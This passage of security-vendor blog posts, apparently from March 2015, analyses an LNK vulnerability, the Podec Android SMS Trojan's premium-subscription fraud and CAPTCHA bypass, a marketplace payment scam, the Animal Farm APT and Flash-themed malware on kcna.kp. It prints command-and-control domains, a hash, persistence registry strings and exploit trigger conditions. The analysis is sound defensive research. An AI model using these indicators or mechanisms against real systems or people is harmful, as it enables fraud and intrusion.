• ProductVersion: 5.0.2074.0
• Full Version: 1.0.0.1
Description This (80AA) plugin is a HDD firmware flashing tool which includes an API and the ability to read/write arbitrary information into hidden sectors on the disk.
The plugin will be the subject of a separate blogpost.

### Patch Tuesday March 2015 - Stuxnet LNK 0day Fixed

Tue, 03/10/2015 - 20:05

Wait, what? Wasn't the Stuxnet LNK vulnerability CVE-2010-2568, reported by Sergey Ulasen, patched years ago? Didn't Kim Zetter have enough time to write 448 pages of thoroughly footnoted research on this digital weaponry?

Yes, it was, but MS10-046 didn't completely fix all of the vulnerable code path. And, we just might start to call it the Fanny LNK 0day, after Equation's poorly QA'd USB worm spread across Pakistan exploiting the same LNK vulnerability years earlier than Stuxnet. Now, to be precise, this fix patches the newly generated label CVE-2015-0096, but the flawed functionality still is maintained with LNK handling code used to support custom icons from .cpl files. And, we have not observed a different implementation of this newly report LNK exploit in-the-wild. Yet.

So, machines have remained vulnerable to an actively exploited codebase providing custom icon-loading support since at least 2008. German researcher Michael Heerklotz reported the remaining flaws in January, and an excellent technical writeup describing his findings is posted on the ZDI blog here. Essentially, an attacker has to create a malicious LNK file with a link path of exactly 257 characters containing embedded unescaped spaces, and two "target" files - one with embedded unescaped spaces and one without. This is not difficult on a usb stick, and it bypasses much of the effective defenses Microsoft has developed for years. "Microsoft has gone to a great deal of effort to make exploitation of memory corruption bugs more difficult. This is a classic example of the Defender's Dilemma -- the defender must be strong everywhere, while the attacker needs to find only one mistake." In this case, it's more that the attacker had to chain together a complex series of overlooked steps.

Microsoft's release of thirteen other bulletins includes a large rollup of fixes for RCE across all versions of Internet Explorer, IE6 - IE11. This MS15-018 bulletin is rated critical, and it requires a reboot.

Tue, 03/10/2015 - 07:00

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015.

The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

Distribution

This article discusses Trojan-SMS.AndroidOS.Podec, version 1.23 (the version was identified from analyzing its code). The hash sums are:

0D5708158B8782F115670BD51833AC5C

This version of the Trojan circulates in Russia and neighboring countries.

Country Number of attempts to infect unique users Russia 3666 Kazakhstan 339 Ukraine 305 Belarus 70 Kyrgyzstan 23

The number of infections over time:

Number of attempts to infect unique users

Sources of Infection

According to statistics collected with the help of Kaspersky Security Network, the main sources from which the Trojan in our study spreads are various domains with imposing names (Apk-downlad3.ru, minergamevip.com, etc.), as well as the servers of the popular Russian social network VKontakte (VK, vk.com) that are used to store users' content.

A pie chart of file infection sources

As we see, in most cases the infection is sourced from the social network's servers. Unfortunately, VK's file storage system is anonymous, so there is no way to analyze how malware emerges from it. However, further research identified a number of communities that distribute Trojan-SMS.AndroidOS.Podec on this social network:

• http://vk.com/vzlomannye_igry_dlya_android
• http://vk.com/skachat_minecraft_0_9_0_android
• http://vk.com/minecraft_pe_0_9
• http://vk.com/vzlom_igry_android_mody
• http://vk.com/igry_android_cheats
• http://vk.com/android_mody_apk
• http://vk.com/novye_igry_na_android
• http://vk.com/skachat_hill_climb_racing_bpan
• http://vk.com/na_android_igry

(The Russian names of these groups refer to cracking Android games in some form)

All the groups listed here were filled with similar content: images, links and messages.

Each group is about one or more cracked games. The cybercriminals seem to be hoping that potential victims will be attracted by the chance to get free access to content that is usually paid-for.

Nearly all messages on the groups' walls are links leading to sites purportedly containing Android games and applications. The same is true for the "Links" section. In reality, the only purpose these sites served was to spread different versions of Trojan-SMS.AndroidOS.Podec.

Eight groups in the social network with similar visual designs

These groups have a lot in common: the way in which they are managed and designed (e.g. using keywords in place of descriptions, an abundance of simple broad-language messages characteristic of bots, etc.), the links they host to fake sites that seem to be copies of one idea. This suggests that black SEO (Search Engine Optimization) specialists were involved in distributing the Trojan. The above practices help bring links to the malicious resources (sites and groups) closer to the top of search engine results, attracting yet more visitors.

All these clone communities have the same administrator, who is a VK user identified as 'kminetti'. These communities are also advertised on that user's personal page. The user's account was created on 12 October 2011; in 2012, the account's wall started hosting links to sites and communities spreading malicious applications for mobile devices.

Examples of messages posted by the administrator of the malicious communities

Earlier, this account was used as a bot hosting links to web resources to increase their citation indexes (CI).

Examples of the posts placed by the communities' administrator to increase CIs of third-party resources

It can be concluded from all of the above that the VKontakte social network is the main vehicle for distributing Trojan-SMS.AndroidOS.Podec.

The Infection Procedure

The mobile Trojan sample that became available for Kaspersky Lab's analysts masquerades as a popular application, 'Minecraft Pocket Edition'. The file is 688 Kbyte in size, which may be an advantage in the eyes of inexperienced users with a slow and/or expensive Internet access. The official Minecraft application is 10 to 13 MB in size.

When launched, the application asks for device administrator privileges. This step makes sure that neither user nor a security solution can subsequently delete the Trojan. If the user rejects the request, the Trojan keeps repeating it until the privilege is granted. This process effectively blocks the normal use of the device.

Privilege escalation request

When Trojan-SMS.AndroidOS.Podec receives the requested escalated privileges, the legitimate Minecrast app is downloaded from a third-party resource and installed on the SD card. This behavior follows the instructions provided in the configuration file that comes alongside with the Trojan; the same file specifies the link to the legitimate APK file. However, the configuration file does not always contain a link to the application; in this case, the Trojan simply stops any activities observable by the user after it receives the requested privilege escalation.

Part of the configuration file containing the link to legitimate Minecraft installation file

Then the Trojan deletes its shortcut from the apps list and replaces it with the real Minecraft shortcut. However, traces of the Trojan's presence remain in the install apps list and in the device administrators' list:

The option of deleting the malicious app is deactivated. If the device user later seeks to de-escalate the Trojan's privileges the machine responds with weird and unsettling behavior: the screen locks, then shuts down for some moments. When the screen comes back on the device displays the configuration menu and there is no evidence of any attempt to strip the malicious app of its admin privileges.

Protection against analysis

The cybercriminals apparently invested serious time and effort into developing Trojan-SMS.AndroidOS.Podec, as demonstrated by the techniques used to prevent code analysis. As well as introducing garbage classes and obfuscation into the code, the cybercriminals used an expensive legitimate code protector which makes it fairly difficult to gain access to the source code of the Android application. This protector provides code integrity control tools, hides calls of all methods and manipulations involving class fields, and encrypts all strings.

Here is an example of protected code:

This is the same code after the protection is removed:

Managing the Trojan

Trojan-SMS.AndroidOS.Podec's activities are managed using C&C servers. The system works like this. First the Trojan contacts a C&C server via an HTTP protocol, and waits for an SMS with instructions. Trojan-SMS.AndroidOS.Podec has a main and a backup list of C&C domain names – a specific C&C server is chosen from the list following a random algorithm. If there is no response from that server within 3 days, a C&C from the backup list is used. This implements an adaptive algorithm to connect to a C&C server, which works even if specific domain names are blocked.

The C&C domain names and the entire traffic (both HTTM and SMS) are encrypted with AES encryption algorithm in CBC/NoPadding mode with a 128 bit key. The encryption key and the initialization vector are originally located in the file fXUt474y1mSeuULsg.kEaS (the name of this file changes from version to version), located in the 'assets' folder of the app source. Most of the file content is junk; useful information is contained between tags, appearing in the form of [a]string[/a].

From the strings between tags, the required encryption parameters (the key and the vector) are obtained in an encrypted form. Then they are decrypted by simply replacing one substring with others.

After decryption the commands form an XML document, in which the tags represent specific commands, and the contents of tags are command parameters. Below is the list of Trojan-SMS.AndroidOS.Podec capabilities implemented via commands:

1. Collect information about the device (cell phone service provider, IMEI, phone number, interface language, country and city, etc.)
2. Collect a list of installed applications.
4. Send SMS messages.
5. Set a filter on incoming messages.
6. Set filters on incoming and outgoing calls.
8. Delete messages, as specified
9. Delete call records, as specified
10.  Upload the source HTML code of a specified page to the cybercriminals' server.
11.  Perform a DDoS attack. Ramp up website visitor counters.
12.  Subscribe the user to paid content.
13.  Do a self-update.
14.  Perform an outgoing call.
15.  Export incoming messages according to conditions specified by C&C.
16.  Delete an app, as instructed by C&C.

Even a quick analysis of the Trojan's executable code reveals an abundance of ways of working with HTML and HTTP. As well as features regarded as standard for this type of Trojans (e.g. sending and intercepting text messages, placing phone calls, manipulations with SMSs and call logs), Trojan-SMS.AndroidOS.Podec can also configure web page visits and send their code to C&C. However, this Trojan's most interesting feature is its CAPTCHA recognition capability.

A flow chart of Trojan-SMS.AndroidOS.Podec in operation is provided below.

Thus, the web resource's communication capabilities are the source of two different threats:

1. The Trojan contains functions with which one can launch a simple HTTP Flood DDoS attack. The associated strings in the configuration file are as follows:
2. The resulting link is loaded; the function sleep() is called with the parameter 'seconds'. This process is repeated as often as the 'limit' parameter specifies.

The scheme used by the cybercriminals enables them to configure the frequency and number of access attempts; therefore, it can be used to ramp up web site visitor counters, thus generating profits from advertising and from partnership programs.

3. One of the most dangerous capabilities in Trojan-SMS.AndroidOS.Podec is the use of configurable webpage visit rules, with CAPTCHA recognition supported. With this, the Trojan can subscribe the user to premium-rate subscriptions without the user's knowledge or consent. This capability is unique to this Trojan, so let us review it in more detail.
Paid subscriptions

There are two main models of subscribing to content on a web resource:

• Pseudo-subscription. In this model, users visit a web resource and enter their phone numbers. An SMS is then sent, asking users to pay for the service by sending a reply message with any text. When users send that message, a certain amount of money is deducted from their phone accounts, depending on the specific service provider's prices. These messages arrive automatically, and users make up their minds each time whether to send the reply message or not. It is for this reason that this model is often referred to as pseudo-subscription.
• MT subscription. In this model, users enter their mobile phone numbers on a web page and receive an SMS with a validation code. Then users enter that code on the service provider's website, accepting the subscription terms and conditions. After that, the service provider will automatically deduct the sum stipulated in the subscription terms and conditions from the subscriber's account. In the Russian segment of the Internet, a number of partnership contracts are available that can aggregate this type of payments. This means that the cybercriminals do not have to directly deal with the cellular service providers when they create a service to which users can subscribe to paid content; partnership programs will do the agent's job. Under this model, the revenue is lower for the service creators, but the financial transactions are more anonymous.

Subscribing to paid services through a Trojan can be costly for users. In case of pseudo-subscriptions, one reply message may cost between $0.5 and$10. In case of MT subscription, the price in each specific case is agreed directly with the mobile service provider via the partnership program. The most dangerous factors here are that money is deducted 1) covertly and 2) on a regular basis. Users who are subscribed to several such "sources of content" may have to spend a lot of time and effort trying to find out where and how money from their accounts is going.

Example of the Trojan in operation

We were able to intercept Trojan-SMS.AndroidOS.Podec's communication with its C&C server. This communication session unfolded as follows:

• The RuMaximum.com website was accessed – this site provides online test services for users. To get their results, users have to subscribe to the site.
• This test in Russian is "What type of dog is most like you?"

• Results of the test "What type of dog are you similar to?"
"Yes, I am 18 years old or older, and I consent to the Terms and Conditions below.

• After the user enters a phone number, a unique "landing page" of the service provider is generated, demanding a CAPTCHA authentication and for a validation code that was sent to the phone by SMS. The Trojan fills out both fields and validates the subscription. Then, the user is redirected to the test results via the e-commerce system totmoney.ru.
• Results of the test "What type of dog are you similar to?"
You are a German shepherd, a versatile dog. You can guard the state border or help the blind across the street. You learn things easily and keep your head cool in any circumstances. A good manager too!

The Trojan does all of these actions automatically using the configuration sent from the C&C. The victim, however, has no idea that any of this is happening.

Paid subscription capability

In the XML configuration sent from the C&C server, there is a field which subscribes the user to paid content. It looks like this:

Let's have a closer look at the configuration field:

1. verify is an array of strings with the separator "-S-". It contains the information required to obtain the CAPTCHA value.
2. verify[0]: if this field is not equal to zero, CAPTCHA recognition is required, otherwise further processing is done. This may contain the image file in base64 coding (done for processing static images and CAPTCHA), or an image ID;
verify[1] is the key of the service 'http://antigate.com' used to recognize CAPTCHA and required to login at the service;
verify[2] is the minimum image length, used for housekeeping purposes;
verify[3] is the maximum image length, used for housekeeping purposes;
verify[4] is the language of the symbols in the image.

3. service is the accessed service;
4. search is an array of strings with the separator "-S-", used to search for substrings in the link and to take a decision about the appropriate type of subscription depending on the search results;
5. images is not used in this version;
6. actions is an array of strings with the separator "-S-". Contains the final links that the services follows to initiate/complete the subscription process;
7. type is request type;
8. source indicates whether the webpage's source code should be sent to C&C;
9. domain: If the page's source code should be sent to C&C, domain indicates the destination C&C.

The Observable interface is used to fetch the code of HTML pages and send it to C&C. The required information is sent to this interface, whenever needed, with the help of JavaScript when the page is loaded.

The webpage source code is required for cybercriminals to analyze the structure and to prepare an appropriate configuration for the paid subscription module. Also, this service provides source codes of webpages to ensure that the page's code is received in a form that can be used to show it to the victim. This makes it easier for the cybercriminals to analyze the page and start the subscription.

The function which completes the subscription to paid content is located in the class CustomWebView, which is inherited from the class WebViewClient. In it, the method onLoadResource was redefined (this method is used to get a link to the image), as was the onPageFinished method,which is used to post-process the loaded web-resource. Post-processing is based on analyzing the configuration and then visiting the required links with the help of the loadUrl function. When required, the CAPTCHA processor is called as well.

Different partnership programs have different requirements from the design of a web resource where subscription tools will be hosted. For instance, there is often a requirement that for a CAPTCHA module to confirm that the request was not made from a bot. In most cases, the partnership program forwards the browser to the service provider's site where users are prompted to enter a CAPTCHA code to confirm their subscription requests. As explained above, Trojan-SMS.AndroidOS.Podec's key characteristic is that it can bypass CAPTCHA protection systems.

The CAPTCHA processor communicates with the service Antigate.com which provides image-to-text manual recognition services. Here is what the service says on its web-page:

Antigate.Com is an online service which provides real-time captcha-to-text decodings. This works easy: your software uploads a captcha to our server and receives text from it within seconds.

Source: antigate.com

In other words, the text from the CAPTCHA image is recognized by a person working for this service. According to the information Antigate.com provides on its website, most of its workers are based in India.

Source: antigate.com

Distribution of Antigate.com employees between countries

The Trojan communicates with Antigate.com via an HTTP API service: a POST request is used to the send the image containing a text to be recognized; then, with the help of GET requests, the recognition status is monitored. The recognized result (if received in reasonable time) is inserted into the links from the 'actions' field of the received configuration. Then the links are opened with the help of the loadUrl()function.

If the subscription mechanism requires SMS validation the Trojan uses the filter set by the cybercriminals to search for the message containing the validation code, and uses regular expressions to extract the code from there.

The general subscription procedure

General flow chart of subscription to paid content

Conclusion

From the analysis of Trojan-SMS.AndroidOS.Podec samples that arrived earlier, we can conclude that the Trojan is under ongoing development. The code is being refactored, new capabilities are added, and module architectures are being reworked.

We suspect this Trojan is being developed by a team of Android developers in close cooperation with Black SEO specialists specializing in fraud, illegal monetization and traffic generation. The following evidence supports this theory:

1. The Trojan is distributed via the VKontakte social network employing social engineering tools;
2. A commercial protector is used to conceal the malicious code;
3. The scheme includes a complicated procedure of extorting money from the victim while bypassing CAPTCHA.

Also, there are certain features in the code of the analyzed version of Trojan-SMS.AndroidOS.Podec which have not yet been used but which may reveal the malware writer's further plans. For instance, there is an auxiliary function isRooted(), which helps to check whether the device's owner has super-user privileges. This function is not used in the Trojan's main code, so we can assume that a payload designed to exploit super-user privileges may emerge in future versions of the Trojan.

Users of Kaspersky Lab's products are already secured against all existing versions of Trojan-SMS.AndroidOS.Podec. Nonetheless, we recommend that users only install applications sourced from official stores, such as Google Play. The user should always be alert to cybercriminals' tricks and avoid downloading cracked apps advertised as free of charge. If you download and launch a Trojan, you can potentially lose much more money than you may earn from not paying to purchase legitimate software.

With acknowledgements to Mobile TeleSystems OAO, a GSM cell phone operator in Russia, and specifically to its experts in partnership programs traffic.

### Understanding the operations of a scam

Mon, 03/09/2015 - 05:00

Currently, in Sweden, we're facing a big issue with scammers trying to buy items for sale on various auction websites, but when you initiate contact with the potential buyer things get nasty and you might lose money. This is nothing new, and most of the auction websites have written about this to inform their users, but they do not explain in detail how these scams actually work – their FAQs only advise people to be careful. So I know that there are a lot of questions unanswered for worried users.

Since one of these scammers tried to scam my wife, I decided to follow their scam and document the entire process, so that I could inform not only law enforcement but also our readers on how these scams actually work. When you know how the scam works, it will be much easier to spot them and avoid being scammed.

So, let me give you the background.

Our daughter got a new bike, so we decided to sell the old one on Blocket, the biggest website for personal ads (buying/selling) in Sweden.

After a few days my wife received an SMS (which unfortunately has been deleted). The SMS came from a Polish number, and the person wrote in very good English. They said that they were interested in the bike, but wanted to have more information, and gave my wife an email address. I told her NOT to reply via SMS but to email the person, because sometimes the bad guys send SMS from premium numbers, which means that when you reply to the SMS it will cost you much more than a normal SMS.

I told my wife to be very brief in her answers, which you can see in her initial email response below:

As you can see, the person starts to ask valid questions about the bike, which means that it's not a bot, it's actually someone who manually responded to this ad. I have no idea how they select their victims, but it is obviously a manual process.

We decided to take this even further, to see the next step in the scam, so we replied with the information about the bike – there was also still be a chance that the person was not a scammer and really wanted the bike.

It was after this email that everything started to get nasty. They accepted our offer, but what was so strange was that the person confirmed their Polish identity. Even if you look up the person on social media their identity seems to be Polish. So we decided to continue.

The person asked for our name, PayPal details and the total price, which we obviously sent them. They also said that they were going to cover the shipping cost for the bike, and had already involved a shipping company.

We shared our information, and waited for them to reply. They were VERY fast in replying to all the emails; it almost seemed as though there were a lot of people with access to the same mail account, but we weren't able to confirm this. In the email they sent just before the money transfer they also included an address in Poland. This address hasn't been confirmed, but we are trying to find out who lives at that address which can be found in the screenshot below. Within minutes they just stated that they had completed the transfer, which you can see in the second screenshot.

I did get two emails from something that looked like PayPal, but when you look more closely you can see that the email is not coming from PayPal at all. This is a very clever, but common, trick that is also used in phishing attacks.  When you look at the email you can see that it's actually being sent from service@e-pay-team.com which is hosted on Google Mail.  What is so interesting with this email is that it's most likely created manually too, because it contains details such as the price we asked for the bike.

At this point no money had been transferred to my PayPal account - the emails were just fake. The fraudsters next tried to get me to transfer the shipping cost, in this case 1700 SEK (about $200 USD), from our account to the company "P.S.S Logistics". The process they outlined for transferring the money was to visit a Western Union office, and transfer it to this shipping company; but when you look more closely at the emails they sent, they wanted us to transfer it to a private person. There is a company called "P.S.S Logistics", but its registered in South Africa, the fraudsters started to use this name, but when you transfer the money it goes to an individual named "Bamise Seon" in Nigeria. At this point I wondered if the scammers were working with hacked accounts, because all of the individuals exist on various social media networks. For example, the person who keeps email using the Polish name "Pawel Dylewski" can be found on Google Plus. And the individual in Nigeria can be found on Facebook. If you look closely on the screen captures I took from Facebook, you can see that there are two identities, one female and one male, and they are both connected to each other by the same name. In the screenshot below you can see that it's written: "Send HER a friend request", which indicates that this profile belongs to a female. You can also see that she has one friend, a person with the same name, but with a profile picture of a man and more information. I am currently working with PayPal, Western Union, Google and law enforcement, to share the intelligence I have collected, but I also want to share this story. We need to inform everyone who is actively selling/buying things online to keep a close eye on the details. If the deal sounds too good to be true, in most cases it is. The scheme in bullet points: 1. You receive an SMS from a potential buyer containing an email for further contact? 2. In some cases the SMS is sent from a premium number, so when you reply you will be charged for the premium service. 3. Once the email conversation starts, the buyer wants to pay with an online payment service - for example, PayPal - offering full payment, including shipping. 4. They send FAKE emails pretending to come from PayPal, stating that their money has been transferred to your account. But the money won't be transferred to your account until you have completed the deal. 5. The deal can only be completed if you transfer money for the shipping costs to a shipping company - for example, via Western Union. 6. The shipping company does not exist, it's actually the personal account of the scammer; which means that they want you to transfer a sum from your own pocket in the hope that they will pay the full amount (including the amount for your item) into your PayPal account. Some useful tips when communicating with strangers over Internet: • Please do not use SMS to communicate, because fraudsters might use premium numbers to charge you a lot of money. • Please double-check any email address: for example, in this case it did not come from "paypal.com", but "e-pay-team.com". • Never transfer any money to anyone; and always make sure you have received payment BEFORE you ship the item you are selling. • Never pay with a credit card unless you are 100% sure that the website is legitimate; try to use secure payment methods such as PayPal. PS: We sold the bike today. To a REAL person ### Animals in the APT Farm Fri, 03/06/2015 - 07:00 In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. Victims include: • Government organizations • Military contractors • Humanitarian aid organizations • Private companies • Journalists and media organizations • Activists Our colleagues at Cyphort, G-DATA and ESET have recently published blogs about Bunny, Casper and Babar, some of the Trojans used by the Animal Farm group. The Farm includes several Trojans, which we have grouped into six major families: Here's a brief description of the animals in the farm: • Bunny - an old "validator"-style Trojan used with a PDF zero-day attack in 2011. • Dino - a full-featured espionage platform. • Babar - the most sophisticated espionage platform from the Animal Farm group. • NBot - malware used in a botnet-style operation by the group. It has DDoS capabilities. • Tafacalou - a validator-style Trojan used by the attackers in recent years. Confirmed victims get upgraded to Dino or Babar. • Casper – the most recent "validator"-style implant from the Animal Farm group. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007. Over the years we have tracked multiple campaigns by the Animal Farm group. These can be identified by a specific code found either in the malware configuration or extracted from the C&C logs. Most recently, the group deployed the Casper Trojan via a watering-hole attack in Syria. A full description of this zero-day attack can be found in this blog post by Kaspersky Lab's Vyacheslav Zakorzhevsky. In addition to these, the Animal Farm attackers used at least one unknown, mysterious malware during an operation targeting computer users in Burkina Faso. KSN & Sinkholing statistics During the investigation we sinkholed a large number of C&C servers used by the Animal Farm group. This allowed us to compile a comprehensive picture of both targets and victims. The malware known as Tafacalou (aka "TFC", "Transporter") is perhaps of greatest interest here, because it acts as an entry point for the more sophisticated spy platforms Babar and Dino. Based on the Tafacalou infection logs, we observed that most of the victims are in the following countries: Syria, Iran, Malaysia, USA, China, Turkey, Netherlands, Germany, Great Britain, Russia, Sweden, Austria, Algeria, Israel, Iraq, Morocco, New Zealand, Ukraine. What does "Tafacalou" mean? "Tafacalou" is the attacker's internal name for one of the validator (1st stage) Trojans. We tried various spellings of this word to see if it means anything in a specific language, and the most interesting option is one with its origins in the Occitan language: "Ta Fa Calou." The expression "Fa Calou" is the French interpretation of the Occitane "Fa Calor" which means "it's getting hot" (see http://ejournaux.blogspot.com/2008/07/la-langue-occitane-et-ses-quelques.html). 'Ta Fa Calou" could therefore be taken to mean "so it's getting hot" based on the Occitan language. According to Wikipedia: 'Occitan is a Romance language spoken in southern France, Italy's Occitan Valleys, Monaco, and Spain's Val d'Aran; collectively, these regions are sometimes referred to unofficially as "Occitania". Note: A detailed technical report on Animal Farm is available to customers of Kaspersky Intelligent Services. For more information, contact intelreports@kaspersky.com ### Who's Really Spreading through the Bright Star? Wed, 03/04/2015 - 13:14 Security researchers recently announced that that the official website for the Korean Central News Agency of the Democratic People's Republic of Korea has been serving malware disguised as a Flash Player update. The immediately conspicuous code is still active on the KCNA front page. The javascript variables at the top of the front page source code are part of an interwoven js mechanism meant to check for specific requirements before redirecting the visitor to a relative location, /download/FlashPlayer10.zip. The malware delivery site has been live, although response to connection attempts is intermittent at best. The zip file contains two executables with the common Flash installer names.This malware has been around since the end of 2012. What appears to be rushed attribution and pretty faux-intelligence diagrams proposes the standard hypothesis that the malware was placed there by the site's developers in an attempt to infect the endpoints of those outsiders interested in the goings-on of the DPRK. This may not be the case, because incidents are usually more complex than they seem. And clearly, this is a significant piece of the puzzle - there was human involvement in adding this web page filtering. It is not a part of the viral routines in its handful of components. Instead, the malware's trigger, system requirements, and technical and operational similarities with the more recent DarkHotel campaigns point in the direction of an external actor, possibly looking to keep tabs on the geographically dispersed DPRK internet-enabled elite. The larger spread of victims include telecommunications network engineering staff, wealth management and trading staff, a pharmaceutical's electrical engineering staff, distributed software development teams, business management and related school faculty and IT, and many, many more. Website Attack and Geographic Spread One of the most notable characteristics is that the malware isn't being delivered to every site visitor. The delivery trigger is contingent on the absence of the legitimate Flash Player 10 or newer being present on the target's Windows system. If a user attempts to view the videos or picture slideshows linked on the bottom right pane of the front page, the user is presented with a gif in place of the desired content indicating that flash player is required. Naturally, clicking on the gif will redirect to the malicious zip file. It's also interesting that this malware has no Linux or OS X variant, deliverables are exclusively Windows executables. It's also interesting that the malware components were first detected in Nov of 2012, two months prior to the first known appearance of the Flashplayer bundle on the kcna.kp website. While we don't know definitively the exact origin of these infections, at this point, we suspect it was in fact the kcna website. There are no other known sources. KSN data also includes few select cases where Firefox users were served up the malware while visiting a page known for cross-site scripting, described in the following section "Potential XSS-Enabled Watering Hole". Basically, the timing and resource location of this vulnerability presents the definite possibility of an external actor's intrusion. The delivery of a zip file dependent on user interaction and self-infection initially implies a fairly low level of attack sophistication, but let's go farther than the social engineering elements of the attack and consider the victim profiling too. From this web site in particular, the attackers are initially targeting users with not only a low-level of technical expertise and general knowledge, but also tragically outdated Windows systems. Flash Player version 10 was released on October 2008, and newer browsers like Google Chrome include a more recent flash plug-in out of the box. These attacks took place in the third quarter of 2012 at the earliest. Most likely, the intended victims are known to use outdated systems that fit these specifications. This is the case in North Korea, where Global Stats places nearly half of desktop computers systems still running Windows XP. In comparison, South Korea has a steady Windows 7 adoption rate of nearly 80% over the past year. So what is the actual geographic spread of the malware? Well, the two main associated components mscaps.exe and wtime32.dll were detected on systems mostly in China, followed by South Korea, and Russia. We can infer that these systems were infected at some point and were victim systems of the kcna.kp spread malware: China 450 Korea, Republic of 43 Russian Federation 25 Malaysia 20 Italy 11 India 10 Korea, Democratic People's Republic of 7 Germany 7 Hong Kong 6 Iran, Islamic Republic of 4 However, reading into the geolocation of the top hits is not as straightforward as it may seem. Reports suggest that NK elites have access to various internet providers that may geolocate their ip in Chinese, Russian, and Hong Kong IP ranges. Potential XSS-Enabled Watering Hole Given the recent branding of NK threat actor as the culprit of the Sony hack, original reporting has had no difficulty accepting the idea that this is an attack perpetrated from within the DPRK in order to keep track of those people interested in the official state media. Let's examine the difficulties in arriving at that conclusion. First, the site itself was vulnerable to XSS in the early 2013 time frame, when the Flashplayer installer bundle first appeared on the site. The site's vulnerability is recorded here by "Hexspirit" on XSSed in April 2013. As a matter of fact, the first pages we are aware of that referred to the flashplayer bundle on kcna.kp by the exact same XSS-vulnerable page were seen in Jan 2013: hxxp://www.kcna.kp/kcna.user.home.photo.retrievePhotoList.kcmsf;jsessionid=xxx So, the flashplayer bundle may have been delivered by any APT actor and not simply the site's governmental sponsor. Coupling that possibility with the Darkhotel APT's penchant for delivering Flashplayer installers from compromised resources, this scenario holds weight. Also, the strong possibility that the site's developers unknowingly maintained infected machines is present. The operational angle of placing malware on the state's official news site is dependent on who is most likely to view this site or directed to it and be interested in its content – to the point of arriving at the download trigger deep in the media section. Sure, we can consider that key elements in the international community, like dissidents, think tanks, and foreign institutions are likely to keep an eye on NK state news but their systems are unlikely to fit the Flash player requirements for the infection. We also have seen forums maintaining emotionally charged discussions containing links to photo images redirecting to the Flash installer malware. Perhaps forum participants were targeted actively in this way as well. So this watering hole attack may be focused inward, intentionally targeting the geographically-spread North Korean internet-enabled elite and other interested readers by an external threat actor. Malware Similarities to Darkhotel APT Toolset The original finding includes a preliminary analysis of the quirky inner workings of the malware dropper, delving into the two executables masquerading as Flash Player 10 updates. Let's go a step further and discuss the following similarities between the viral code hosted on kcna.kp and the previously documented Darkhotel malware in the following categories: • Social engineering • Distribution • Data collection • Network configuration and simple obfuscation • Infection and injection behavior • Timestamps and timelines A referent for these malware similarities can be found in descriptions of the malware distributed during the DarkHotel campaigns. Comparisons follow. Social engineering The most blatant and obvious similarity between these campaigns is the approach of delivering spoofed FlashPlayer installers bound with backdoors from compromised server resources. This is the first page out of the Darkhotel playbook and one of its most distinct qualities now replicated in the KCNA attack. The benefits of this approach are significant, especially when considering that the malware in the case of KCNA is not digitally signed and requires express user interaction for execution. Data Collection On a technical level, it's interesting to recall the Darkhotel information stealer from 2012. Its purpose is to collect identifying data points from victim systems. The data points of interest to the DH information stealer are very similar to that of its KCNA equivalent (shown below): Coincidentally, the KCNA dropper collects much the same identifying data points from victim systems. The Darkhotel item missing from this list is the 'CPU Name and Identifier', supplanted by 'time of infection'. The Darkhotel stealer maintained the stolen data in a specific internal format of label-colon-value as follows: The KCNA stealer maintained the stolen data in the following internal format, very similar to the Darkhotel format (label-colon-value): Network configuration and simple obfuscation This package's network callback includes several unusual Fully Qualified Domain Names (FQDNs). This network configuration is specifically hardcoded within wtime32.dll: a.gwas.perl.sh a-gwas-01.dyndns.org a-gwas-01.slyip.net It's interesting that the malware is configured with three connectback command & control servers, just like the network configuration of tens of the Darkhotel backdoors. Also, a very simple routine locates these strings within the wtime32.dll component's .data section and decodes them as global variables. Those strings are obfuscated within the binary with a simple XOR 0x12 loop. The later Darkhotel samples maintain a somewhat more complicated approach, but not by much. Here are strangely obfuscated strings: Software\Microsoft\Active Setup\Installed Components {ef2b00e3-19da-4e78-b118-6b6451b719f2} {a96adc11-e20e-4e21-bfac-3e483c40906e} Software\Microsoft\Windows\CurrentVersion\Run JREUpdate mscaps.exe a.gwas.perl.sh a-gwas-01.slyip.net a-gwas-01.dyndns.org update.microsoft.com 20 %SystemRoot%\system32 %APPDATA%\Microsoft\Protect\SETUP %SystemRoot%\system32\gdi32.dll Targeting Specificity The Darkhotel actor is unusual in the varying degrees of specificity it uses to spread its malware: "This APT precisely drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics." In other words, the group is surprisingly open to their worms spreading indiscriminately across entire countries, hitting tens of thousands of systems. This is also the case in the KCNA campaign wherein malware is positioned in a way meant to attract a specific target audience with uncommon system requirements and yet the malware itself is designed to spread indiscriminately (via a mechanism described below). Infection and Injection Behaviors Much like the Darkhotel toolset, the KCNA malware includes viral code. The routine is maintained in the fil.dll code. After sleeping for a couple of minute intervals, the code repeatedly looks through attached network drives for executables to infect. It infects these files with its explorer shellcode and the @AE1.tmp dropper itself. It's a strange infection strategy – notably, the shellcode blob does not transfer control back into the original file. The injection behavior is both intricate and indiscriminate as the malware not only infects executables on network shares but also locally. As an example, the size of an infected Skype installer on a network drive increased in size from its original 1,513 kb to 3,221 kb. Great strides, however inelegant, were taken in adding to the malware's injection capabilities beyond simple executables. For this purpose, the malware drops a copy of command-line WinRar version 4.1.0 (released January 2012) in %USERS%\AppData\Roaming\Microsoft\Identities\\Rar.exe. This Winrar software is used in order to access ZIP, RAR, ISO, and 7Z files in search of any executable contents to infect. Archives in the aforementioned formats containing executables are infected and then repackaged under their original filenames but with their new executable contents under the Daws.awfy scheme. All resultant infected files are detected by our products as Trojan-Dropper.Win32.Daws.awfy. Several networks were affected by this viral code, and almost one thousand unique md5s representing related infected files across various systems were recorded as "Trojan-Dropper.Win32.Daws.awfy". Viral Victimology Given the malware's viral propagation capabilities, we can distinguish the infection spread data above, which relates directly to the Flashplayer hosted on KCNA, from the malware's 